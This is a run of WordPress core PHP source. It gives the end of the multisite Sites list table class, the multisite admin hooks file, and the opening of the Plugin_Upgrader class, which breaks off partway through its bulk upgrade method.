			'spam'     => array( 'site-spammed', _x( 'Spam', 'site' ) ),
			'deleted'  => array( 'site-deleted', __( 'Deleted' ) ),
			'mature'   => array( 'site-mature', __( 'Mature' ) ),
		);

		parent::__construct(
			array(
				'plural' => 'sites',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'manage_sites' );
	}

	/**
	 * Prepares the list of sites for display.
	 *
	 * @since 3.1.0
	 *
	 * @global string $mode List table view mode.
	 * @global string $s
	 * @global wpdb   $wpdb WordPress database abstraction object.
	 */
	public function prepare_items() {
		global $mode, $s, $wpdb;

		if ( ! empty( $_REQUEST['mode'] ) ) {
			$mode = 'excerpt' === $_REQUEST['mode'] ? 'excerpt' : 'list';
			set_user_setting( 'sites_list_mode', $mode );
		} else {
			$mode = get_user_setting( 'sites_list_mode', 'list' );
		}

		$per_page = $this->get_items_per_page( 'sites_network_per_page' );

		$pagenum = $this->get_pagenum();

		$s    = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';
		$wild = '';
		if ( str_contains( $s, '*' ) ) {
			$wild = '*';
			$s    = trim( $s, '*' );
		}

		/*
		 * If the network is large and a search is not being performed, show only
		 * the latest sites with no paging in order to avoid expensive count queries.
		 */
		if ( ! $s && wp_is_large_network() ) {
			if ( ! isset( $_REQUEST['orderby'] ) ) {
				$_GET['orderby']     = '';
				$_REQUEST['orderby'] = '';
			}
			if ( ! isset( $_REQUEST['order'] ) ) {
				$_GET['order']     = 'DESC';
				$_REQUEST['order'] = 'DESC';
			}
		}

		$args = array(
			'number'     => (int) $per_page,
			'offset'     => (int) ( ( $pagenum - 1 ) * $per_page ),
			'network_id' => get_current_network_id(),
		);

		if ( empty( $s ) ) {
			// Nothing to do.
		} elseif ( preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $s )
			|| preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.?$/', $s )
			|| preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.?$/', $s )
			|| preg_match( '/^[0-9]{1,3}\.$/', $s )
		) {
			// IPv4 address.
			$sql = $wpdb->prepare(
				"SELECT blog_id FROM {$wpdb->registration_log} WHERE {$wpdb->registration_log}.IP LIKE %s",
				$wpdb->esc_like( $s ) . ( ! empty( $wild ) ? '%' : '' )
			);

			$reg_blog_ids = $wpdb->get_col( $sql );

			if ( $reg_blog_ids ) {
				$args['site__in'] = $reg_blog_ids;
			}
		} elseif ( is_numeric( $s ) && empty( $wild ) ) {
			$args['ID'] = $s;
		} else {
			$args['search'] = $s;

			if ( ! is_subdomain_install() ) {
				$args['search_columns'] = array( 'path' );
			}
		}

		$order_by = isset( $_REQUEST['orderby'] ) ? $_REQUEST['orderby'] : '';
		if ( 'registered' === $order_by ) {
			// 'registered' is a valid field name.
		} elseif ( 'lastupdated' === $order_by ) {
			$order_by = 'last_updated';
		} elseif ( 'blogname' === $order_by ) {
			if ( is_subdomain_install() ) {
				$order_by = 'domain';
			} else {
				$order_by = 'path';
			}
		} elseif ( 'blog_id' === $order_by ) {
			$order_by = 'id';
		} elseif ( ! $order_by ) {
			$order_by = false;
		}

		$args['orderby'] = $order_by;

		if ( $order_by ) {
			$args['order'] = ( isset( $_REQUEST['order'] ) && 'DESC' === strtoupper( $_REQUEST['order'] ) ) ? 'DESC' : 'ASC';
		}

		if ( wp_is_large_network() ) {
			$args['no_found_rows'] = true;
		} else {
			$args['no_found_rows'] = false;
		}

		// Take into account the role the user has selected.
		$status = isset( $_REQUEST['status'] ) ? wp_unslash( trim( $_REQUEST['status'] ) ) : '';
		if ( in_array( $status, array( 'public', 'archived', 'mature', 'spam', 'deleted' ), true ) ) {
			$args[ $status ] = 1;
		}

		/**
		 * Filters the arguments for the site query in the sites list table.
		 *
		 * @since 4.6.0
		 *
		 * @param array $args An array of get_sites() arguments.
		 */
		$args = apply_filters( 'ms_sites_list_table_query_args', $args );

		$_sites = get_sites( $args );
		if ( is_array( $_sites ) ) {
			update_site_cache( $_sites );

			$this->items = array_slice( $_sites, 0, $per_page );
		}

		$total_sites = get_sites(
			array_merge(
				$args,
				array(
					'count'  => true,
					'offset' => 0,
					'number' => 0,
				)
			)
		);

		$this->set_pagination_args(
			array(
				'total_items' => $total_sites,
				'per_page'    => $per_page,
			)
		);
	}

	/**
	 */
	public function no_items() {
		_e( 'No sites found.' );
	}

	/**
	 * Gets links to filter sites by status.
	 *
	 * @since 5.3.0
	 *
	 * @return array
	 */
	protected function get_views() {
		$counts = wp_count_sites();

		$statuses = array(
			/* translators: %s: Number of sites. */
			'all'      => _nx_noop(
				'All <span class="count">(%s)</span>',
				'All <span class="count">(%s)</span>',
				'sites'
			),

			/* translators: %s: Number of sites. */
			'public'   => _n_noop(
				'Public <span class="count">(%s)</span>',
				'Public <span class="count">(%s)</span>'
			),

			/* translators: %s: Number of sites. */
			'archived' => _n_noop(
				'Archived <span class="count">(%s)</span>',
				'Archived <span class="count">(%s)</span>'
			),

			/* translators: %s: Number of sites. */
			'mature'   => _n_noop(
				'Mature <span class="count">(%s)</span>',
				'Mature <span class="count">(%s)</span>'
			),

			/* translators: %s: Number of sites. */
			'spam'     => _nx_noop(
				'Spam <span class="count">(%s)</span>',
				'Spam <span class="count">(%s)</span>',
				'sites'
			),

			/* translators: %s: Number of sites. */
			'deleted'  => _n_noop(
				'Deleted <span class="count">(%s)</span>',
				'Deleted <span class="count">(%s)</span>'
			),
		);

		$view_links       = array();
		$requested_status = isset( $_REQUEST['status'] ) ? wp_unslash( trim( $_REQUEST['status'] ) ) : '';
		$url              = 'sites.php';

		foreach ( $statuses as $status => $label_count ) {
			if ( (int) $counts[ $status ] > 0 ) {
				$label = sprintf(
					translate_nooped_plural( $label_count, $counts[ $status ] ),
					number_format_i18n( $counts[ $status ] )
				);

				$full_url = 'all' === $status ? $url : add_query_arg( 'status', $status, $url );

				$view_links[ $status ] = array(
					'url'     => esc_url( $full_url ),
					'label'   => $label,
					'current' => $requested_status === $status || ( '' === $requested_status && 'all' === $status ),
				);
			}
		}

		return $this->get_views_links( $view_links );
	}

	/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions = array();
		if ( current_user_can( 'delete_sites' ) ) {
			$actions['delete'] = __( 'Delete' );
		}
		$actions['spam']    = _x( 'Mark as spam', 'site' );
		$actions['notspam'] = _x( 'Not spam', 'site' );

		return $actions;
	}

	/**
	 * @global string $mode List table view mode.
	 *
	 * @param string $which The location of the pagination nav markup: Either 'top' or 'bottom'.
	 */
	protected function pagination( $which ) {
		global $mode;

		parent::pagination( $which );

		if ( 'top' === $which ) {
			$this->view_switcher( $mode );
		}
	}

	/**
	 * Displays extra controls between bulk actions and pagination.
	 *
	 * @since 5.3.0
	 *
	 * @param string $which The location of the extra table nav markup: Either 'top' or 'bottom'.
	 */
	protected function extra_tablenav( $which ) {
		?>
		<div class="alignleft actions">
		<?php
		if ( 'top' === $which ) {
			ob_start();

			/**
			 * Fires before the Filter button on the MS sites list table.
			 *
			 * @since 5.3.0
			 *
			 * @param string $which The location of the extra table nav markup: Either 'top' or 'bottom'.
			 */
			do_action( 'restrict_manage_sites', $which );

			$output = ob_get_clean();

			if ( ! empty( $output ) ) {
				echo $output;
				submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'site-query-submit' ) );
			}
		}
		?>
		</div>
		<?php
		/**
		 * Fires immediately following the closing "actions" div in the tablenav for the
		 * MS sites list table.
		 *
		 * @since 5.3.0
		 *
		 * @param string $which The location of the extra table nav markup: Either 'top' or 'bottom'.
		 */
		do_action( 'manage_sites_extra_tablenav', $which );
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$sites_columns = array(
			'cb'          => '<input type="checkbox" />',
			'blogname'    => __( 'URL' ),
			'lastupdated' => __( 'Last Updated' ),
			'registered'  => _x( 'Registered', 'site' ),
			'users'       => __( 'Users' ),
		);

		if ( has_filter( 'wpmublogsaction' ) ) {
			$sites_columns['plugins'] = __( 'Actions' );
		}

		/**
		 * Filters the displayed site columns in Sites list table.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string[] $sites_columns An array of displayed site columns. Default 'cb',
		 *                               'blogname', 'lastupdated', 'registered', 'users'.
		 */
		return apply_filters( 'wpmu_blogs_columns', $sites_columns );
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {

		if ( is_subdomain_install() ) {
			$blogname_abbr         = __( 'Domain' );
			$blogname_orderby_text = __( 'Table ordered by Site Domain Name.' );
		} else {
			$blogname_abbr         = __( 'Path' );
			$blogname_orderby_text = __( 'Table ordered by Site Path.' );
		}

		return array(
			'blogname'    => array( 'blogname', false, $blogname_abbr, $blogname_orderby_text ),
			'lastupdated' => array( 'lastupdated', true, __( 'Last Updated' ), __( 'Table ordered by Last Updated.' ) ),
			'registered'  => array( 'blog_id', true, _x( 'Registered', 'site' ), __( 'Table ordered by Site Registered Date.' ), 'desc' ),
		);
	}

	/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$blog` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param array $item Current site.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$blog = $item;

		if ( ! is_main_site( $blog['blog_id'] ) ) :
			$blogname = untrailingslashit( $blog['domain'] . $blog['path'] );
			?>
			<input type="checkbox" id="blog_<?php echo $blog['blog_id']; ?>" name="allblogs[]" value="<?php echo esc_attr( $blog['blog_id'] ); ?>" />
			<label for="blog_<?php echo $blog['blog_id']; ?>">
				<span class="screen-reader-text">
				<?php
				/* translators: %s: Site URL. */
				printf( __( 'Select %s' ), $blogname );
				?>
				</span>
			</label>
			<?php
		endif;
	}

	/**
	 * Handles the ID column output.
	 *
	 * @since 4.4.0
	 *
	 * @param array $blog Current site.
	 */
	public function column_id( $blog ) {
		echo $blog['blog_id'];
	}

	/**
	 * Handles the site name column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param array $blog Current site.
	 */
	public function column_blogname( $blog ) {
		global $mode;

		$blogname = untrailingslashit( $blog['domain'] . $blog['path'] );

		?>
		<strong>
			<?php
			printf(
				'<a href="%1$s" class="edit">%2$s</a>',
				esc_url( network_admin_url( 'site-info.php?id=' . $blog['blog_id'] ) ),
				$blogname
			);

			$this->site_states( $blog );
			?>
		</strong>
		<?php
		if ( 'list' !== $mode ) {
			switch_to_blog( $blog['blog_id'] );
			echo '<p>';
			printf(
				/* translators: 1: Site title, 2: Site tagline. */
				__( '%1$s &#8211; %2$s' ),
				get_option( 'blogname' ),
				'<em>' . get_option( 'blogdescription' ) . '</em>'
			);
			echo '</p>';
			restore_current_blog();
		}
	}

	/**
	 * Handles the lastupdated column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param array $blog Current site.
	 */
	public function column_lastupdated( $blog ) {
		global $mode;

		if ( 'list' === $mode ) {
			$date = __( 'Y/m/d' );
		} else {
			$date = __( 'Y/m/d g:i:s a' );
		}

		if ( '0000-00-00 00:00:00' === $blog['last_updated'] ) {
			_e( 'Never' );
		} else {
			echo mysql2date( $date, $blog['last_updated'] );
		}
	}

	/**
	 * Handles the registered column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param array $blog Current site.
	 */
	public function column_registered( $blog ) {
		global $mode;

		if ( 'list' === $mode ) {
			$date = __( 'Y/m/d' );
		} else {
			$date = __( 'Y/m/d g:i:s a' );
		}

		if ( '0000-00-00 00:00:00' === $blog['registered'] ) {
			echo '&#x2014;';
		} else {
			echo mysql2date( $date, $blog['registered'] );
		}
	}

	/**
	 * Handles the users column output.
	 *
	 * @since 4.3.0
	 *
	 * @param array $blog Current site.
	 */
	public function column_users( $blog ) {
		$user_count = wp_cache_get( $blog['blog_id'] . '_user_count', 'blog-details' );
		if ( ! $user_count ) {
			$blog_users = new WP_User_Query(
				array(
					'blog_id'     => $blog['blog_id'],
					'fields'      => 'ID',
					'number'      => 1,
					'count_total' => true,
				)
			);
			$user_count = $blog_users->get_total();
			wp_cache_set( $blog['blog_id'] . '_user_count', $user_count, 'blog-details', 12 * HOUR_IN_SECONDS );
		}

		printf(
			'<a href="%1$s">%2$s</a>',
			esc_url( network_admin_url( 'site-users.php?id=' . $blog['blog_id'] ) ),
			number_format_i18n( $user_count )
		);
	}

	/**
	 * Handles the plugins column output.
	 *
	 * @since 4.3.0
	 *
	 * @param array $blog Current site.
	 */
	public function column_plugins( $blog ) {
		if ( has_filter( 'wpmublogsaction' ) ) {
			/**
			 * Fires inside the auxiliary 'Actions' column of the Sites list table.
			 *
			 * By default this column is hidden unless something is hooked to the action.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $blog_id The site ID.
			 */
			do_action( 'wpmublogsaction', $blog['blog_id'] );
		}
	}

	/**
	 * Handles output for the default column.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$blog` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param array  $item        Current site.
	 * @param string $column_name Current column name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$blog = $item;

		/**
		 * Fires for each registered custom column in the Sites list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string $column_name The name of the column to display.
		 * @param int    $blog_id     The site ID.
		 */
		do_action( 'manage_sites_custom_column', $column_name, $blog['blog_id'] );
	}

	/**
	 * @global string $mode List table view mode.
	 */
	public function display_rows() {
		foreach ( $this->items as $blog ) {
			$blog  = $blog->to_array();
			$class = '';
			reset( $this->status_list );

			foreach ( $this->status_list as $status => $col ) {
				if ( '1' === $blog[ $status ] ) {
					$class = " class='{$col[0]}'";
				}
			}

			echo "<tr{$class}>";

			$this->single_row_columns( $blog );

			echo '</tr>';
		}
	}

	/**
	 * Determines whether to output comma-separated site states.
	 *
	 * @since 5.3.0
	 *
	 * @param array $site
	 */
	protected function site_states( $site ) {
		$site_states = array();

		// $site is still an array, so get the object.
		$_site = WP_Site::get_instance( $site['blog_id'] );

		if ( is_main_site( $_site->id ) ) {
			$site_states['main'] = __( 'Main' );
		}

		reset( $this->status_list );

		$site_status = isset( $_REQUEST['status'] ) ? wp_unslash( trim( $_REQUEST['status'] ) ) : '';
		foreach ( $this->status_list as $status => $col ) {
			if ( '1' === $_site->{$status} && $site_status !== $status ) {
				$site_states[ $col[0] ] = $col[1];
			}
		}

		/**
		 * Filters the default site display states for items in the Sites list table.
		 *
		 * @since 5.3.0
		 *
		 * @param string[] $site_states An array of site states. Default 'Main',
		 *                              'Archived', 'Mature', 'Spam', 'Deleted'.
		 * @param WP_Site  $site        The current site object.
		 */
		$site_states = apply_filters( 'display_site_states', $site_states, $_site );

		if ( ! empty( $site_states ) ) {
			$state_count = count( $site_states );

			$i = 0;

			echo ' &mdash; ';

			foreach ( $site_states as $state ) {
				++$i;

				$separator = ( $i < $state_count ) ? ', ' : '';

				echo "<span class='post-state'>{$state}{$separator}</span>";
			}
		}
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'blogname'.
	 */
	protected function get_default_primary_column_name() {
		return 'blogname';
	}

	/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$blog` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param array  $item        Site being acted upon.
	 * @param string $column_name Current column name.
	 * @param string $primary     Primary column name.
	 * @return string Row actions output for sites in Multisite, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$blog = $item;

		$blogname = untrailingslashit( $blog['domain'] . $blog['path'] );

		// Preordered.
		$actions = array(
			'edit'       => '',
			'backend'    => '',
			'activate'   => '',
			'deactivate' => '',
			'archive'    => '',
			'unarchive'  => '',
			'spam'       => '',
			'unspam'     => '',
			'delete'     => '',
			'visit'      => '',
		);

		$actions['edit'] = sprintf(
			'<a href="%1$s">%2$s</a>',
			esc_url( network_admin_url( 'site-info.php?id=' . $blog['blog_id'] ) ),
			__( 'Edit' )
		);

		$actions['backend'] = sprintf(
			'<a href="%1$s" class="edit">%2$s</a>',
			esc_url( get_admin_url( $blog['blog_id'] ) ),
			__( 'Dashboard' )
		);

		if ( ! is_main_site( $blog['blog_id'] ) ) {
			if ( '1' === $blog['deleted'] ) {
				$actions['activate'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=activateblog&amp;id=' . $blog['blog_id'] ),
							'activateblog_' . $blog['blog_id']
						)
					),
					_x( 'Activate', 'site' )
				);
			} else {
				$actions['deactivate'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=deactivateblog&amp;id=' . $blog['blog_id'] ),
							'deactivateblog_' . $blog['blog_id']
						)
					),
					__( 'Deactivate' )
				);
			}

			if ( '1' === $blog['archived'] ) {
				$actions['unarchive'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=unarchiveblog&amp;id=' . $blog['blog_id'] ),
							'unarchiveblog_' . $blog['blog_id']
						)
					),
					__( 'Unarchive' )
				);
			} else {
				$actions['archive'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=archiveblog&amp;id=' . $blog['blog_id'] ),
							'archiveblog_' . $blog['blog_id']
						)
					),
					_x( 'Archive', 'verb; site' )
				);
			}

			if ( '1' === $blog['spam'] ) {
				$actions['unspam'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=unspamblog&amp;id=' . $blog['blog_id'] ),
							'unspamblog_' . $blog['blog_id']
						)
					),
					_x( 'Not Spam', 'site' )
				);
			} else {
				$actions['spam'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=spamblog&amp;id=' . $blog['blog_id'] ),
							'spamblog_' . $blog['blog_id']
						)
					),
					_x( 'Spam', 'site' )
				);
			}

			if ( current_user_can( 'delete_site', $blog['blog_id'] ) ) {
				$actions['delete'] = sprintf(
					'<a href="%1$s">%2$s</a>',
					esc_url(
						wp_nonce_url(
							network_admin_url( 'sites.php?action=confirm&amp;action2=deleteblog&amp;id=' . $blog['blog_id'] ),
							'deleteblog_' . $blog['blog_id']
						)
					),
					__( 'Delete' )
				);
			}
		}

		$actions['visit'] = sprintf(
			'<a href="%1$s" rel="bookmark">%2$s</a>',
			esc_url( get_home_url( $blog['blog_id'], '/' ) ),
			__( 'Visit' )
		);

		/**
		 * Filters the action links displayed for each site in the Sites list table.
		 *
		 * The 'Edit', 'Dashboard', 'Delete', and 'Visit' links are displayed by
		 * default for each site. The site's status determines whether to show the
		 * 'Activate' or 'Deactivate' link, 'Unarchive' or 'Archive' links, and
		 * 'Not Spam' or 'Spam' link for each site.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $actions  An array of action links to be displayed.
		 * @param int      $blog_id  The site ID.
		 * @param string   $blogname Site path, formatted depending on whether it is a sub-domain
		 *                           or subdirectory multisite installation.
		 */
		$actions = apply_filters( 'manage_sites_action_links', array_filter( $actions ), $blog['blog_id'], $blogname );

		return $this->row_actions( $actions );
	}
}
<?php
/**
 * Multisite Administration hooks
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.3.0
 */

// Media hooks.
add_filter( 'wp_handle_upload_prefilter', 'check_upload_size' );

// User hooks.
add_action( 'user_admin_notices', 'new_user_email_admin_notice' );
add_action( 'network_admin_notices', 'new_user_email_admin_notice' );

add_action( 'admin_page_access_denied', '_access_denied_splash', 99 );

// Site hooks.
add_action( 'wpmueditblogaction', 'upload_space_setting' );

// Network hooks.
add_action( 'update_site_option_admin_email', 'wp_network_admin_email_change_notification', 10, 4 );

// Post hooks.
add_filter( 'wp_insert_post_data', 'avoid_blog_page_permalink_collision', 10, 2 );

// Tools hooks.
add_filter( 'import_allow_create_users', 'check_import_new_users' );

// Notices hooks.
add_action( 'admin_notices', 'site_admin_notice' );
add_action( 'network_admin_notices', 'site_admin_notice' );

// Update hooks.
add_action( 'network_admin_notices', 'update_nag', 3 );
add_action( 'network_admin_notices', 'maintenance_nag', 10 );

// Network Admin hooks.
add_action( 'add_site_option_new_admin_email', 'update_network_option_new_admin_email', 10, 2 );
add_action( 'update_site_option_new_admin_email', 'update_network_option_new_admin_email', 10, 2 );
<?php
/**
 * Upgrade API: Plugin_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for upgrading/installing plugins.
 *
 * It is designed to upgrade/install plugins from a local zip, remote zip URL,
 * or uploaded zip file.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 *
 * @see WP_Upgrader
 */
class Plugin_Upgrader extends WP_Upgrader {

	/**
	 * Plugin upgrade result.
	 *
	 * @since 2.8.0
	 * @var array|WP_Error $result
	 *
	 * @see WP_Upgrader::$result
	 */
	public $result;

	/**
	 * Whether a bulk upgrade/installation is being performed.
	 *
	 * @since 2.9.0
	 * @var bool $bulk
	 */
	public $bulk = false;

	/**
	 * New plugin info.
	 *
	 * @since 5.5.0
	 * @var array $new_plugin_data
	 *
	 * @see check_package()
	 */
	public $new_plugin_data = array();

	/**
	 * Initializes the upgrade strings.
	 *
	 * @since 2.8.0
	 */
	public function upgrade_strings() {
		$this->strings['up_to_date'] = __( 'The plugin is at the latest version.' );
		$this->strings['no_package'] = __( 'Update package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package']  = sprintf( __( 'Downloading update from %s&#8230;' ), '<span class="code pre">%s</span>' );
		$this->strings['unpack_package']       = __( 'Unpacking the update&#8230;' );
		$this->strings['remove_old']           = __( 'Removing the old version of the plugin&#8230;' );
		$this->strings['remove_old_failed']    = __( 'Could not remove the old plugin.' );
		$this->strings['process_failed']       = __( 'Plugin update failed.' );
		$this->strings['process_success']      = __( 'Plugin updated successfully.' );
		$this->strings['process_bulk_success'] = __( 'Plugins updated successfully.' );
	}

	/**
	 * Initializes the installation strings.
	 *
	 * @since 2.8.0
	 */
	public function install_strings() {
		$this->strings['no_package'] = __( 'Installation package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package'] = sprintf( __( 'Downloading installation package from %s&#8230;' ), '<span class="code pre">%s</span>' );
		$this->strings['unpack_package']      = __( 'Unpacking the package&#8230;' );
		$this->strings['installing_package']  = __( 'Installing the plugin&#8230;' );
		$this->strings['remove_old']          = __( 'Removing the current plugin&#8230;' );
		$this->strings['remove_old_failed']   = __( 'Could not remove the current plugin.' );
		$this->strings['no_files']            = __( 'The plugin contains no files.' );
		$this->strings['process_failed']      = __( 'Plugin installation failed.' );
		$this->strings['process_success']     = __( 'Plugin installed successfully.' );
		/* translators: 1: Plugin name, 2: Plugin version. */
		$this->strings['process_success_specific'] = __( 'Successfully installed the plugin <strong>%1$s %2$s</strong>.' );

		if ( ! empty( $this->skin->overwrite ) ) {
			if ( 'update-plugin' === $this->skin->overwrite ) {
				$this->strings['installing_package'] = __( 'Updating the plugin&#8230;' );
				$this->strings['process_failed']     = __( 'Plugin update failed.' );
				$this->strings['process_success']    = __( 'Plugin updated successfully.' );
			}

			if ( 'downgrade-plugin' === $this->skin->overwrite ) {
				$this->strings['installing_package'] = __( 'Downgrading the plugin&#8230;' );
				$this->strings['process_failed']     = __( 'Plugin downgrade failed.' );
				$this->strings['process_success']    = __( 'Plugin downgraded successfully.' );
			}
		}
	}

	/**
	 * Install a plugin package.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
	 *
	 * @param string $package The full local path or URI of the package.
	 * @param array  $args {
	 *     Optional. Other arguments for installing a plugin package. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
	 *                                    Default true.
	 * }
	 * @return bool|WP_Error True if the installation was successful, false or a WP_Error otherwise.
	 */
	public function install( $package, $args = array() ) {
		$defaults    = array(
			'clear_update_cache' => true,
			'overwrite_package'  => false, // Do not overwrite files.
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->install_strings();

		add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );

		if ( $parsed_args['clear_update_cache'] ) {
			// Clear cache so wp_update_plugins() knows about the new plugin.
			add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 );
		}

		$this->run(
			array(
				'package'           => $package,
				'destination'       => WP_PLUGIN_DIR,
				'clear_destination' => $parsed_args['overwrite_package'],
				'clear_working'     => true,
				'hook_extra'        => array(
					'type'   => 'plugin',
					'action' => 'install',
				),
			)
		);

		remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 );
		remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );

		if ( ! $this->result || is_wp_error( $this->result ) ) {
			return $this->result;
		}

		// Force refresh of plugin update information.
		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );

		if ( $parsed_args['overwrite_package'] ) {
			/**
			 * Fires when the upgrader has successfully overwritten a currently installed
			 * plugin or theme with an uploaded zip package.
			 *
			 * @since 5.5.0
			 *
			 * @param string  $package      The package file.
			 * @param array   $data         The new plugin or theme data.
			 * @param string  $package_type The package type ('plugin' or 'theme').
			 */
			do_action( 'upgrader_overwrote_package', $package, $this->new_plugin_data, 'plugin' );
		}

		return true;
	}

	/**
	 * Upgrades a plugin.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
	 *
	 * @param string $plugin Path to the plugin file relative to the plugins directory.
	 * @param array  $args {
	 *     Optional. Other arguments for upgrading a plugin package. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
	 *                                    Default true.
	 * }
	 * @return bool|WP_Error True if the upgrade was successful, false or a WP_Error object otherwise.
	 */
	public function upgrade( $plugin, $args = array() ) {
		$defaults    = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->upgrade_strings();

		$current = get_site_transient( 'update_plugins' );
		if ( ! isset( $current->response[ $plugin ] ) ) {
			$this->skin->before();
			$this->skin->set_result( false );
			$this->skin->error( 'up_to_date' );
			$this->skin->after();
			return false;
		}

		// Get the URL to the zip file.
		$r = $current->response[ $plugin ];

		add_filter( 'upgrader_pre_install', array( $this, 'deactivate_plugin_before_upgrade' ), 10, 2 );
		add_filter( 'upgrader_pre_install', array( $this, 'active_before' ), 10, 2 );
		add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ), 10, 4 );
		add_filter( 'upgrader_post_install', array( $this, 'active_after' ), 10, 2 );
		/*
		 * There's a Trac ticket to move up the directory for zips which are made a bit differently, useful for non-.org plugins.
		 * 'source_selection' => array( $this, 'source_selection' ),
		 */
		if ( $parsed_args['clear_update_cache'] ) {
			// Clear cache so wp_update_plugins() knows about the new plugin.
			add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 );
		}

		$this->run(
			array(
				'package'           => $r->package,
				'destination'       => WP_PLUGIN_DIR,
				'clear_destination' => true,
				'clear_working'     => true,
				'hook_extra'        => array(
					'plugin'      => $plugin,
					'type'        => 'plugin',
					'action'      => 'update',
					'temp_backup' => array(
						'slug' => dirname( $plugin ),
						'src'  => WP_PLUGIN_DIR,
						'dir'  => 'plugins',
					),
				),
			)
		);

		// Cleanup our hooks, in case something else does an upgrade on this connection.
		remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 );
		remove_filter( 'upgrader_pre_install', array( $this, 'deactivate_plugin_before_upgrade' ) );
		remove_filter( 'upgrader_pre_install', array( $this, 'active_before' ) );
		remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ) );
		remove_filter( 'upgrader_post_install', array( $this, 'active_after' ) );

		if ( ! $this->result || is_wp_error( $this->result ) ) {
			return $this->result;
		}

		// Force refresh of plugin update information.
		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );

		/*
		 * Ensure any future auto-update failures trigger a failure email by removing
		 * the last failure notification from the list when plugins update successfully.
		 */
		$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );

		if ( isset( $past_failure_emails[ $plugin ] ) ) {
			unset( $past_failure_emails[ $plugin ] );
			update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );
		}

		return true;
	}

	/**
	 * Upgrades several plugins at once.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
	 *
	 * @global string $wp_version The WordPress version string.
	 *
	 * @param string[] $plugins Array of paths to plugin files relative to the plugins directory.
	 * @param array    $args {
	 *     Optional. Other arguments for upgrading several plugins at once.
	 *
	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful. Default true.
	 * }
	 * @return array|false An array of results indexed by plugin file, or false if unable to connect to the filesystem.
	 */
	public function bulk_upgrade( $plugins, $args = array() ) {
		global $wp_version;

		$defaults    = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

